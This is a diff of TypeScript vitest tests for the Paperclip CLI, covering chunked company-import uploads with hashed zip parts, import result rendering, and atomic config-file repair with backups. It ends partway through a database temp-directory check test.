env.PAPERCLIP_DB_BACKUP_ENABLED = "false";
env.PAPERCLIP_DECISION_SIGNING_SECRET = "company-import-export-decision-signing-secret";
env.HEARTBEAT_SCHEDULER_ENABLED = "false";
env.PAPERCLIP_MIGRATION_AUTO_APPLY = "true";
env.PAPERCLIP_UI_DEV_MIDDLEWARE = "false";
@@ -0,0 +1,494 @@
import { createHash } from "node:crypto";
import { deflateRawSync } from "node:zlib";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { Command } from "commander";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { readZipArchive } from "@paperclipai/shared/portability-zip";
import {
CHUNKED_IMPORT_THRESHOLD_BYTES,
IMPORT_TRANSFER_PART_SIZE_BYTES,
buildImportTransferManifest,
registerCompanyCommands,
EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES,
resolveChunkedImportZip,
uploadCompanyImportTransfer,
} from "../commands/client/company.js";
import { createStoredZipArchive } from "./helpers/zip.js";
const ORIGINAL_ENV = { ...process.env };
const tempDirs: string[] = [];
async function makeTempDir(): Promise<string> {
const dir = await mkdtemp(path.join(os.tmpdir(), "paperclip-company-import-transfer-"));
tempDirs.push(dir);
return dir;
}
function sha256Hex(bytes: Uint8Array): string {
return createHash("sha256").update(bytes).digest("hex");
}
/** Two-part fixture: one full 32 MB part plus a short tail. */
function buildTwoPartZipBytes(): Uint8Array {
const bytes = new Uint8Array(IMPORT_TRANSFER_PART_SIZE_BYTES + 3);
bytes.set([1, 2, 3], IMPORT_TRANSFER_PART_SIZE_BYTES);
return bytes;
}
afterEach(async () => {
for (const dir of tempDirs.splice(0)) {
await rm(dir, { recursive: true, force: true });
}
});
describe("buildImportTransferManifest", () => {
it("declares the whole zip and its 32 MB byte-range parts with content hashes", () => {
const zipBytes = buildTwoPartZipBytes();
const manifest = buildImportTransferManifest(zipBytes);
expect(manifest.totalBytes).toBe(zipBytes.length);
expect(manifest.partSizeBytes).toBe(IMPORT_TRANSFER_PART_SIZE_BYTES);
expect(manifest.zipSha256).toBe(sha256Hex(zipBytes));
expect(manifest.parts).toEqual([
{
index: 0,
byteSize: IMPORT_TRANSFER_PART_SIZE_BYTES,
sha256: sha256Hex(zipBytes.subarray(0, IMPORT_TRANSFER_PART_SIZE_BYTES)),
},
{
index: 1,
byteSize: 3,
sha256: sha256Hex(zipBytes.subarray(IMPORT_TRANSFER_PART_SIZE_BYTES)),
},
]);
});
});
// Minimal single-entry DEFLATE zip, byte-compatible with the shared reader —
// the stored-zip helper cannot model a small-compressed/large-inflated entry.
function buildDeflateZip(entryPath: string, text: string): Uint8Array {
const raw = Buffer.from(text, "utf8");
const body = deflateRawSync(raw);
const name = Buffer.from(entryPath, "utf8");
let crc = 0xffffffff;
for (const byte of raw) {
crc ^= byte;
for (let bit = 0; bit < 8; bit += 1) crc = (crc & 1) === 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1;
}
crc = (crc ^ 0xffffffff) >>> 0;
const local = Buffer.alloc(30 + name.length);
local.writeUInt32LE(0x04034b50, 0);
local.writeUInt16LE(20, 4);
local.writeUInt16LE(0x0800, 6);
local.writeUInt16LE(8, 8);
local.writeUInt32LE(crc, 14);
local.writeUInt32LE(body.length, 18);
local.writeUInt32LE(raw.length, 22);
local.writeUInt16LE(name.length, 26);
name.copy(local, 30);
const central = Buffer.alloc(46 + name.length);
central.writeUInt32LE(0x02014b50, 0);
central.writeUInt16LE(20, 4);
central.writeUInt16LE(20, 6);
central.writeUInt16LE(0x0800, 8);
central.writeUInt16LE(8, 10);
central.writeUInt32LE(crc, 16);
central.writeUInt32LE(body.length, 20);
central.writeUInt32LE(raw.length, 24);
central.writeUInt16LE(name.length, 28);
central.writeUInt32LE(0, 42);
name.copy(central, 46);
const eocd = Buffer.alloc(22);
eocd.writeUInt32LE(0x06054b50, 0);
eocd.writeUInt16LE(1, 8);
eocd.writeUInt16LE(1, 10);
eocd.writeUInt32LE(central.length, 12);
eocd.writeUInt32LE(local.length + body.length, 16);
return new Uint8Array(Buffer.concat([local, body, central, eocd]));
}
describe("resolveChunkedImportZip", () => {
it("returns null for a zip at or under the threshold", async () => {
const dir = await makeTempDir();
const zipPath = path.join(dir, "small.zip");
await writeFile(zipPath, Buffer.alloc(1024));
expect(await resolveChunkedImportZip(zipPath)).toBeNull();
});
it("takes the chunked path for a small zip whose entries inflate past the threshold", async () => {
const dir = await makeTempDir();
const zipPath = path.join(dir, "dense-package.zip");
// ~64 MB of repetitive text DEFLATEs to a tiny file: far under the raw
// 48 MB threshold, but the inline body would carry the inflated entries,
// so the estimated request size sends the zip down the chunked path.
const zipBytes = buildDeflateZip("dense-package/NOTES.md", "paperclip agent docs\n".repeat(3_200_000));
await writeFile(zipPath, zipBytes);
const resolved = await resolveChunkedImportZip(zipPath);
expect(resolved).not.toBeNull();
expect(resolved!.rootPath).toBe("dense-package");
expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes));
});
it("uses the lower existing-company threshold for the chunk decision", async () => {
const dir = await makeTempDir();
const packageDir = path.join(dir, "midsize-package");
await mkdir(path.join(packageDir, "blobs"), { recursive: true });
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
// ~9 MB of blob bytes: estimated inline ~12 MB — fine for the generic
// import path (64 MB parser) but over the existing-company path's
// default 10 MB parser, so only the existing-target threshold chunks it.
await writeFile(path.join(packageDir, "blobs", "1a2b3c4d"), Buffer.alloc(9 * 1024 * 1024, 5));
expect(await resolveChunkedImportZip(packageDir)).toBeNull();
const chunked = await resolveChunkedImportZip(
packageDir,
EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES,
);
expect(chunked).not.toBeNull();
expect(chunked!.rootPath).toBe("midsize-package");
});
it("keeps a small zip inline when its entries stay under the estimated threshold", async () => {
const dir = await makeTempDir();
const zipPath = path.join(dir, "modest-package.zip");
await writeFile(zipPath, buildDeflateZip("modest-package/COMPANY.md", "# Company\n"));
expect(await resolveChunkedImportZip(zipPath)).toBeNull();
});
it("reads an oversized zip file as-is so its declared hashes match the file on disk", async () => {
const dir = await makeTempDir();
const zipPath = path.join(dir, "big-package.zip");
const zipBytes = Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 7);
await writeFile(zipPath, zipBytes);
const resolved = await resolveChunkedImportZip(zipPath);
expect(resolved).not.toBeNull();
expect(resolved!.rootPath).toBe("big-package");
expect(resolved!.zipBytes.length).toBe(zipBytes.length);
expect(sha256Hex(resolved!.zipBytes)).toBe(sha256Hex(zipBytes));
});
it("returns null for a folder whose portable content is under the threshold", async () => {
const dir = await makeTempDir();
const packageDir = path.join(dir, "small-package");
await mkdir(packageDir, { recursive: true });
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
expect(await resolveChunkedImportZip(packageDir)).toBeNull();
});
it("takes the chunked path for a binary-heavy folder whose inline body outgrows the threshold", async () => {
const dir = await makeTempDir();
const packageDir = path.join(dir, "binary-package");
await mkdir(path.join(packageDir, "blobs"), { recursive: true });
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
// 40 MB of raw blob bytes: under the 48 MB raw threshold, but the inline
// JSON body would carry them base64-inflated (~53 MB) — past the
// threshold on the estimated request size, so the zip travels chunked.
await writeFile(
path.join(packageDir, "blobs", "9a1b2c3d"),
Buffer.alloc(40 * 1024 * 1024, 3),
);
const resolved = await resolveChunkedImportZip(packageDir);
expect(resolved).not.toBeNull();
expect(resolved!.rootPath).toBe("binary-package");
const archive = await readZipArchive(resolved!.zipBytes);
expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/9a1b2c3d"]);
});
it("keeps a text folder under both the raw and estimated measures inline", async () => {
const dir = await makeTempDir();
const packageDir = path.join(dir, "text-package");
await mkdir(packageDir, { recursive: true });
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
// Sizable but nowhere near the threshold on either measure: text entries
// travel JSON-escaped, close to their raw size, so no base64 inflation
// pushes this folder onto the chunked path.
await writeFile(path.join(packageDir, "NOTES.md"), "agent docs line\n".repeat(200_000));
expect(await resolveChunkedImportZip(packageDir)).toBeNull();
});
it("zips an oversized folder in memory with the same walk filters as the inline path", async () => {
const dir = await makeTempDir();
const packageDir = path.join(dir, "big-package");
await mkdir(path.join(packageDir, "blobs"), { recursive: true });
await mkdir(path.join(packageDir, ".git"), { recursive: true });
await writeFile(path.join(packageDir, "COMPANY.md"), "# Company\n");
await writeFile(path.join(packageDir, "notes.txt"), "not portable\n");
await writeFile(path.join(packageDir, ".git", "HEAD"), "ref: refs/heads/main\n");
await writeFile(
path.join(packageDir, "blobs", "4f2d1c9a"),
Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 9),
);
const resolved = await resolveChunkedImportZip(packageDir);
expect(resolved).not.toBeNull();
expect(resolved!.rootPath).toBe("big-package");
// The archive unzips back into the same bundle the inline source carries.
const archive = await readZipArchive(resolved!.zipBytes);
expect(archive.rootPath).toBe("big-package");
expect(Object.keys(archive.files).sort()).toEqual(["COMPANY.md", "blobs/4f2d1c9a"]);
expect(archive.files["COMPANY.md"]).toBe("# Company\n");
});
});
describe("uploadCompanyImportTransfer", () => {
const zipBytes = buildTwoPartZipBytes();
type TransferApi = Parameters<typeof uploadCompanyImportTransfer>[0];
function fakeApi(overrides: { post?: ReturnType<typeof vi.fn>; putRaw?: ReturnType<typeof vi.fn> } = {}) {
const post = overrides.post
?? vi.fn().mockResolvedValue({
transferId: "transfer-1",
status: "running",
alreadyCompleted: false,
totalParts: 2,
missingParts: [0, 1],
});
const putRaw = overrides.putRaw ?? vi.fn().mockResolvedValue({ ok: true });
return { api: { post, putRaw } as unknown as TransferApi, post, putRaw };
}
it("uploads only the parts the server reports missing", async () => {
const { api, post, putRaw } = fakeApi({
post: vi.fn().mockResolvedValue({
transferId: "transfer-1",
status: "running",
alreadyCompleted: false,
totalParts: 2,
missingParts: [1],
}),
});
const progress: number[] = [];
const transferId = await uploadCompanyImportTransfer(api, zipBytes, {
onProgress: (update) => progress.push(update.uploadedParts),
});
expect(transferId).toBe("transfer-1");
expect(post).toHaveBeenCalledWith(
"/api/companies/import/transfers",
expect.objectContaining({ totalBytes: zipBytes.length }),
);
expect(putRaw).toHaveBeenCalledTimes(1);
expect(putRaw.mock.calls[0]![0]).toBe("/api/companies/import/transfers/transfer-1/parts/1");
expect(putRaw.mock.calls[0]![1]).toHaveLength(3);
expect(progress).toEqual([2]);
});
it("retries a failed part before succeeding", async () => {
const putRaw = vi.fn()
.mockRejectedValueOnce(new Error("socket hang up"))
.mockRejectedValueOnce(new Error("socket hang up"))
.mockResolvedValue({ ok: true });
const { api } = fakeApi({ putRaw });
await expect(uploadCompanyImportTransfer(api, zipBytes)).resolves.toBe("transfer-1");
// Part 0 took three attempts; part 1 succeeded first try.
expect(putRaw).toHaveBeenCalledTimes(4);
});
it("surfaces the upload error after exhausting the per-part attempts", async () => {
const putRaw = vi.fn().mockRejectedValue(new Error("socket hang up"));
const { api } = fakeApi({ putRaw });
await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow("socket hang up");
expect(putRaw).toHaveBeenCalledTimes(3);
});
it("refuses a transfer whose content was already applied", async () => {
const { api, putRaw } = fakeApi({
post: vi.fn().mockResolvedValue({
transferId: "transfer-1",
status: "completed",
alreadyCompleted: true,
totalParts: 2,
missingParts: [],
}),
});
await expect(uploadCompanyImportTransfer(api, zipBytes)).rejects.toThrow(/already imported/);
expect(putRaw).not.toHaveBeenCalled();
});
});
describe("company import command over the chunked transfer path", () => {
let fetchMock: ReturnType<typeof vi.fn>;
let logSpy: ReturnType<typeof vi.spyOn>;
beforeEach(() => {
process.env = { ...ORIGINAL_ENV };
delete process.env.PAPERCLIP_API_URL;
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_COMPANY_ID;
fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined);
vi.spyOn(console, "error").mockImplementation(() => undefined);
});
afterEach(() => {
process.env = { ...ORIGINAL_ENV };
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
async function runCommand(args: string[]): Promise<void> {
const program = new Command();
program.exitOverride();
program.configureOutput({
writeOut: () => undefined,
writeErr: () => undefined,
});
registerCompanyCommands(program);
await program.parseAsync(args, { from: "user" });
}
function jsonResponse(body: unknown, status = 200): Response {
return new Response(JSON.stringify(body), {
status,
headers: { "content-type": "application/json" },
});
}
function minimalPreview() {
return {
include: { company: true, agents: true, projects: true, issues: true },
targetCompanyId: null,
targetCompanyName: null,
collisionStrategy: "rename",
selectedAgentSlugs: [],
plan: { companyAction: "create", agentPlans: [], projectPlans: [], issuePlans: [] },
manifest: { agents: [], projects: [], issues: [], skills: [], company: null },
files: {},
envInputs: [],
warnings: [],
errors: [],
};
}
it("slices an oversized local zip into a transfer and applies it against the spool", async () => {
const dir = await makeTempDir();
const zipPath = path.join(dir, "big-package.zip");
await writeFile(zipPath, Buffer.alloc(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024, 5));
fetchMock
.mockResolvedValueOnce(jsonResponse({
transferId: "transfer-1",
status: "running",
alreadyCompleted: false,
totalParts: 2,
missingParts: [0, 1],
}))
.mockResolvedValueOnce(jsonResponse({ ok: true, index: 0, alreadyCompleted: false }))
.mockResolvedValueOnce(jsonResponse({ ok: true, index: 1, alreadyCompleted: false }))
.mockResolvedValueOnce(jsonResponse(minimalPreview()))
.mockResolvedValueOnce(jsonResponse({
company: { id: "company-9", name: "Imported", action: "created" },
agents: [],
skills: [],
projects: [],
routines: [],
envInputs: [],
warnings: [],
}));
await runCommand([
"company",
"import",
zipPath,
"--target",
"new",
"--yes",
"--json",
"--api-base",
"http://paperclip.test",
"--api-key",
"board-token",
]);
expect(fetchMock).toHaveBeenNthCalledWith(
1,
"http://paperclip.test/api/companies/import/transfers",
expect.objectContaining({ method: "POST" }),
);
const declared = JSON.parse(String(fetchMock.mock.calls[0]![1].body));
expect(declared.totalBytes).toBe(CHUNKED_IMPORT_THRESHOLD_BYTES + 1024);
expect(declared.parts).toHaveLength(2);
expect(fetchMock).toHaveBeenNthCalledWith(
2,
"http://paperclip.test/api/companies/import/transfers/transfer-1/parts/0",
expect.objectContaining({
method: "PUT",
headers: expect.objectContaining({ "content-type": "application/octet-stream" }),
}),
);
expect(fetchMock).toHaveBeenNthCalledWith(
3,
"http://paperclip.test/api/companies/import/transfers/transfer-1/parts/1",
expect.objectContaining({ method: "PUT" }),
);
expect(fetchMock).toHaveBeenNthCalledWith(
4,
"http://paperclip.test/api/companies/import/transfers/transfer-1/preview",
expect.objectContaining({ method: "POST" }),
);
// Preview and apply carry the meta fields, never an inline source.
const previewBody = JSON.parse(String(fetchMock.mock.calls[3]![1].body));
expect(previewBody.target).toEqual({ mode: "new_company", newCompanyName: null });
expect(previewBody).not.toHaveProperty("source");
expect(fetchMock).toHaveBeenNthCalledWith(
5,
"http://paperclip.test/api/companies/import/transfers/transfer-1/apply",
expect.objectContaining({ method: "POST" }),
);
const applyBody = JSON.parse(String(fetchMock.mock.calls[4]![1].body));
expect(applyBody).not.toHaveProperty("source");
expect(JSON.parse(String(logSpy.mock.calls.at(-1)?.[0]))).toMatchObject({
company: { id: "company-9" },
});
});
it("keeps small local zips on the inline single-shot path", async () => {
const dir = await makeTempDir();
const zipPath = path.join(dir, "small-package.zip");
await writeFile(zipPath, createStoredZipArchive({ "COMPANY.md": "# Company\n" }, "small-package"));
fetchMock.mockResolvedValueOnce(jsonResponse(minimalPreview()));
await runCommand([
"company",
"import",
zipPath,
"--target",
"new",
"--dry-run",
"--json",
"--api-base",
"http://paperclip.test",
"--api-key",
"board-token",
]);
expect(fetchMock).toHaveBeenCalledTimes(1);
expect(fetchMock).toHaveBeenCalledWith(
"http://paperclip.test/api/companies/import/preview",
expect.objectContaining({ method: "POST" }),
);
const body = JSON.parse(String(fetchMock.mock.calls[0]![1].body));
expect(body.source.type).toBe("inline");
expect(body.source.files["COMPANY.md"]).toBe("# Company\n");
});
});
@@ -18,12 +18,14 @@ describe("resolveInlineSourceFromPath", () => {
const tempDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-company-import-zip-"));
tempDirs.push(tempDir);
const blobBytes = new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff]);
const archivePath = path.join(tempDir, "paperclip-demo.zip");
const archive = createStoredZipArchive(
{
"COMPANY.md": "# Company\n",
".paperclip.yaml": "schema: paperclip/v1\n",
"agents/ceo/AGENT.md": "# CEO\n",
"blobs/4f2d1c9a": blobBytes,
"notes/todo.txt": "ignore me\n",
},
"paperclip-demo",
@@ -38,6 +40,11 @@ describe("resolveInlineSourceFromPath", () => {
"COMPANY.md": "# Company\n",
".paperclip.yaml": "schema: paperclip/v1\n",
"agents/ceo/AGENT.md": "# CEO\n",
"blobs/4f2d1c9a": {
encoding: "base64",
data: Buffer.from(blobBytes).toString("base64"),
contentType: "application/octet-stream",
},
},
});
});
+95
View File
@@ -504,11 +504,25 @@ describe("renderCompanyImportResult", () => {
{ slug: "cto", id: "agent-2", action: "updated", name: "CTO", reason: "replace strategy" },
{ slug: "ops", id: null, action: "skipped", name: "Ops", reason: "skip strategy" },
],
skills: [
{
originalKey: "company/source/review",
originalSlug: "review",
key: "company/target/review-2",
slug: "review-2",
id: "skill-1",
action: "renamed",
reason: "rename strategy",
},
],
projects: [
{ slug: "app", id: "project-1", action: "created", name: "App", reason: null },
{ slug: "ops", id: "project-2", action: "updated", name: "Operations", reason: "replace strategy" },
{ slug: "archive", id: null, action: "skipped", name: "Archive", reason: "skip strategy" },
],
routines: [
{ slug: "weekly-report", id: "routine-1", action: "created", title: "Weekly report", status: "paused" },
],
envInputs: [],
warnings: ["Review API keys"],
},
@@ -522,8 +536,10 @@ describe("renderCompanyImportResult", () => {
expect(rendered).toContain("Company");
expect(rendered).toContain("https://paperclip.example/PAP/dashboard");
expect(rendered).toContain("3 agents total (1 created, 1 updated, 1 skipped)");
expect(rendered).toContain("1 skill total (1 renamed)");
expect(rendered).toContain("3 projects total (1 created, 1 updated, 1 skipped)");
expect(rendered).toContain("Agent results");
expect(rendered).toContain("Skill results");
expect(rendered).toContain("Project results");
expect(rendered).toContain("Using claude-local adapter");
expect(rendered).toContain("Review API keys");
@@ -707,6 +723,85 @@ describe("import selection catalog", () => {
expect(selectedFiles).not.toContain("projects/alpha/issues/kickoff/TASK.md");
expect(selectedFiles).not.toContain("projects/alpha/issues/kickoff/details.md");
});
it("includes extension file even when all entities are deselected", () => {
const preview: CompanyPortabilityPreviewResult = {
include: {
company: true,
agents: true,
projects: true,
issues: true,
skills: true,
},
targetCompanyId: "company-123",
targetCompanyName: "Imported Co",
collisionStrategy: "rename",
selectedAgentSlugs: [],
plan: {
companyAction: "create",
agentPlans: [],
projectPlans: [],
issuePlans: [],
},
manifest: {
schemaVersion: 1,
generatedAt: "2026-03-23T18:00:00.000Z",
source: {
companyId: "company-src",
companyName: "Source Co",
},
includes: {
company: true,
agents: true,
projects: true,
issues: true,
skills: true,
},
company: {
path: "COMPANY.md",
name: "Source Co",
description: null,
attachmentMaxBytes: null,
brandColor: null,
logoPath: null,
requireBoardApprovalForNewAgents: false,
feedbackDataSharingEnabled: false,
feedbackDataSharingConsentAt: null,
feedbackDataSharingConsentByUserId: null,
feedbackDataSharingTermsVersion: null,
},
sidebar: {
agents: [],
projects: [],
},
agents: [],
skills: [],
projects: [],
issues: [],
envInputs: [],
},
files: {
".paperclip.yaml": "schema: paperclip/v1\n",
},
envInputs: [],
warnings: [],
errors: [],
};
const catalog = buildImportSelectionCatalog(preview);
const state = buildDefaultImportSelectionState(catalog);
state.company = false;
state.projects.clear();
state.issues.clear();
state.agents.clear();
state.skills.clear();
const selectedFiles = buildSelectedFilesFromImportSelection(catalog, state);
expect(selectedFiles).toContain(".paperclip.yaml");
expect(selectedFiles).toHaveLength(1);
});
});
describe("default adapter overrides", () => {
+139
View File
@@ -0,0 +1,139 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it, vi } from "vitest";
import {
backupInvalidConfig,
readConfig,
writeConfig,
} from "../config/store.js";
import { paperclipConfigSchema, type PaperclipConfig } from "../config/schema.js";
const roots: string[] = [];
afterEach(() => {
vi.restoreAllMocks();
for (const root of roots.splice(0)) {
fs.rmSync(root, { recursive: true, force: true });
}
});
function createConfigPath(): string {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-config-store-"));
roots.push(root);
return path.join(root, "config.json");
}
function defaultConfig(): PaperclipConfig {
return paperclipConfigSchema.parse({
$meta: {
version: 1,
updatedAt: "2026-08-06T00:00:00.000Z",
source: "configure",
},
database: { mode: "embedded-postgres" },
logging: { mode: "file" },
server: {},
});
}
describe("config store", () => {
it("preserves top-level and nested extension keys during a known-field update", () => {
const configPath = createConfigPath();
fs.writeFileSync(configPath, JSON.stringify({
...defaultConfig(),
topLevelExtension: { enabled: true },
server: {
...defaultConfig().server,
serverExtension: "keep",
},
storage: {
...defaultConfig().storage,
localDisk: {
...defaultConfig().storage.localDisk,
driverExtension: "keep",
},
},
}, null, 2));
const source = readConfig(configPath)!;
const { topLevelExtension: _topLevelExtension, ...knownConfig } = source;
const { serverExtension: _serverExtension, ...knownServer } = source.server;
const { driverExtension: _driverExtension, ...knownLocalDisk } = source.storage.localDisk;
const update: PaperclipConfig = {
...knownConfig,
server: {
...knownServer,
port: 3200,
},
storage: {
...source.storage,
localDisk: knownLocalDisk,
},
};
expect(writeConfig(update, configPath)).toBe(true);
expect(JSON.parse(fs.readFileSync(configPath, "utf8"))).toMatchObject({
topLevelExtension: { enabled: true },
server: {
port: 3200,
serverExtension: "keep",
},
storage: {
localDisk: {
driverExtension: "keep",
},
},
});
});
it("skips semantic no-op writes and keeps the config mtime stable", () => {
const configPath = createConfigPath();
const source = defaultConfig();
fs.writeFileSync(configPath, `${JSON.stringify(source, null, 2)}\n`);
const stableTime = new Date("2020-01-01T00:00:00.000Z");
fs.utimesSync(configPath, stableTime, stableTime);
const update = {
...source,
$meta: {
...source.$meta,
source: "doctor" as const,
updatedAt: "2026-08-06T01:00:00.000Z",
},
};
expect(writeConfig(update, configPath)).toBe(false);
expect(fs.statSync(configPath).mtimeMs).toBe(stableTime.getTime());
expect(fs.existsSync(`${configPath}.backup`)).toBe(false);
});
it("backs up invalid bytes collision-safely and only replaces them through an atomic repair", () => {
const configPath = createConfigPath();
const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8");
fs.writeFileSync(configPath, invalidBytes);
fs.writeFileSync(`${configPath}.invalid-1`, "existing backup");
const open = vi.spyOn(fs, "openSync");
const sync = vi.spyOn(fs, "fsyncSync");
const backupPath = backupInvalidConfig(configPath);
expect(backupPath).toBe(`${configPath}.invalid-2`);
expect(fs.readFileSync(backupPath)).toEqual(invalidBytes);
expect(open).toHaveBeenCalledWith(backupPath, "r");
expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r");
expect(sync).toHaveBeenCalled();
expect(() => writeConfig(defaultConfig(), configPath)).toThrow(/Refusing to overwrite invalid config/);
expect(fs.readFileSync(configPath)).toEqual(invalidBytes);
open.mockClear();
sync.mockClear();
const rename = vi.spyOn(fs, "renameSync");
expect(writeConfig(defaultConfig(), configPath, { invalidBackupPath: backupPath })).toBe(true);
expect(rename).toHaveBeenCalledWith(expect.stringMatching(/config\.json\.tmp-\d+-\d+$/), configPath);
expect(open).toHaveBeenCalledWith(path.dirname(configPath), "r");
expect(open.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(rename.mock.invocationCallOrder.at(-1)!);
expect(sync.mock.invocationCallOrder.at(-1)!).toBeGreaterThan(open.mock.invocationCallOrder.at(-1)!);
expect(readConfig(configPath)).not.toBeNull();
expect(fs.readdirSync(path.dirname(configPath)).some((entry) => entry.includes(".tmp-"))).toBe(false);
});
});
@@ -0,0 +1,83 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import * as prompts from "@clack/prompts";
import { configure } from "../commands/configure.js";
import { readConfig } from "../config/store.js";
vi.mock("@clack/prompts", () => ({
intro: vi.fn(),
outro: vi.fn(),
cancel: vi.fn(),
confirm: vi.fn(),
select: vi.fn(),
isCancel: vi.fn(() => false),
log: {
error: vi.fn(),
message: vi.fn(),
step: vi.fn(),
success: vi.fn(),
warn: vi.fn(),
},
}));
vi.mock("../prompts/server.js", () => ({
promptServer: vi.fn(async ({ currentServer, currentAuth }) => ({
server: currentServer,
auth: currentAuth,
})),
}));
const ORIGINAL_EXIT_CODE = process.exitCode;
let originalStdinIsTTY: boolean | undefined;
let originalStdoutIsTTY: boolean | undefined;
beforeEach(() => {
originalStdinIsTTY = process.stdin.isTTY;
originalStdoutIsTTY = process.stdout.isTTY;
Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: true });
Object.defineProperty(process.stdout, "isTTY", { configurable: true, value: true });
vi.mocked(prompts.confirm).mockResolvedValue(true);
vi.spyOn(console, "log").mockImplementation(() => undefined);
});
afterEach(() => {
Object.defineProperty(process.stdin, "isTTY", {
configurable: true,
value: originalStdinIsTTY,
});
Object.defineProperty(process.stdout, "isTTY", {
configurable: true,
value: originalStdoutIsTTY,
});
process.exitCode = ORIGINAL_EXIT_CODE;
vi.restoreAllMocks();
});
describe("configure invalid-config repair", () => {
it("repairs only after confirmation and commits the staged config atomically", async () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-repair-"));
const configPath = path.join(root, "config.json");
const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8");
fs.writeFileSync(configPath, invalidBytes);
const rename = vi.spyOn(fs, "renameSync");
try {
await configure({ config: configPath, section: "server" });
expect(prompts.confirm).toHaveBeenCalledWith({
message: `Repair from defaults? The invalid original is backed up at ${configPath}.invalid-1.`,
initialValue: false,
});
expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes);
expect(readConfig(configPath)).not.toBeNull();
expect(rename).toHaveBeenCalledWith(
expect.stringMatching(/config\.json\.tmp-\d+-\d+$/),
configPath,
);
} finally {
fs.rmSync(root, { recursive: true, force: true });
}
});
});
+25
View File
@@ -96,4 +96,29 @@ describe("configure command", () => {
fs.rmSync(root, { recursive: true, force: true });
}
});
it("backs up invalid config bytes and refuses non-interactive replacement", async () => {
const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-configure-invalid-"));
const configPath = path.join(root, "config.json");
const invalidBytes = Buffer.from('{"server": invalid}\n', "utf8");
const stdinDescriptor = Object.getOwnPropertyDescriptor(process.stdin, "isTTY");
fs.writeFileSync(configPath, invalidBytes);
Object.defineProperty(process.stdin, "isTTY", { configurable: true, value: false });
try {
await configure({ config: configPath, section: "server" });
expect(process.exitCode).toBe(1);
expect(fs.readFileSync(configPath)).toEqual(invalidBytes);
expect(fs.readFileSync(`${configPath}.invalid-1`)).toEqual(invalidBytes);
expect(fs.existsSync(`${configPath}.backup`)).toBe(false);
} finally {
if (stdinDescriptor) {
Object.defineProperty(process.stdin, "isTTY", stdinDescriptor);
} else {
delete (process.stdin as { isTTY?: boolean }).isTTY;
}
fs.rmSync(root, { recursive: true, force: true });
}
});
});
+79
View File
@@ -0,0 +1,79 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it, vi } from "vitest";
import { databaseCheck } from "../checks/database-check.js";
import type { PaperclipConfig } from "../config/schema.js";
const created: string[] = [];
const ORIGINAL_IN_WORKTREE = process.env.PAPERCLIP_IN_WORKTREE;
function makeBase(): string {
const base = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-dbcheck-"));
created.push(base);
return base;
}
function embeddedConfig(dataDir: string): PaperclipConfig {
return {
database: {
mode: "embedded-postgres",
embeddedPostgresDataDir: dataDir,
embeddedPostgresPort: 54321,
},
} as unknown as PaperclipConfig;
}
afterEach(() => {
vi.restoreAllMocks();
if (ORIGINAL_IN_WORKTREE === undefined) delete process.env.PAPERCLIP_IN_WORKTREE;
else process.env.PAPERCLIP_IN_WORKTREE = ORIGINAL_IN_WORKTREE;
while (created.length > 0) {
const dir = created.pop();
if (dir) fs.rmSync(dir, { recursive: true, force: true });
}
});
describe("databaseCheck — embedded postgres temp-dir guard", () => {
it("passes when the data dir is on persistent (non-temp) storage", async () => {
const base = makeBase();
// Treat a sibling dir as the OS temp root so the persistent dir is outside it.
vi.spyOn(os, "tmpdir").mockReturnValue(path.join(base, "fake-tmp"));
process.env.PAPERCLIP_IN_WORKTREE = "true";
const persistentDataDir = path.join(base, "persistent", "instances", "default", "db");
const result = await databaseCheck(embeddedConfig(persistentDataDir), path.join(base, "config.json"));
expect(result.status).toBe("pass");
expect(result.message).toContain("Embedded PostgreSQL configured at");
});
it("warns when a worktree-mode data dir lives inside the OS temp directory", async () => {
const base = makeBase();
const fakeTmp = path.join(base, "fake-tmp");
vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
process.env.PAPERCLIP_IN_WORKTREE = "true";
const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
expect(result.status).toBe("warn");
expect(result.message).toMatch(/temp directory/i);
expect(result.message).toMatch(/ephemeral/i);
expect(result.repairHint).toContain("PAPERCLIP_HOME");
// Must warn BEFORE creating anything — don't bootstrap the throwaway temp dir.
expect(fs.existsSync(tmpDataDir)).toBe(false);
});
it("does NOT warn for a temp data dir when not in worktree mode (intentional ephemeral/CI use)", async () => {
const base = makeBase();
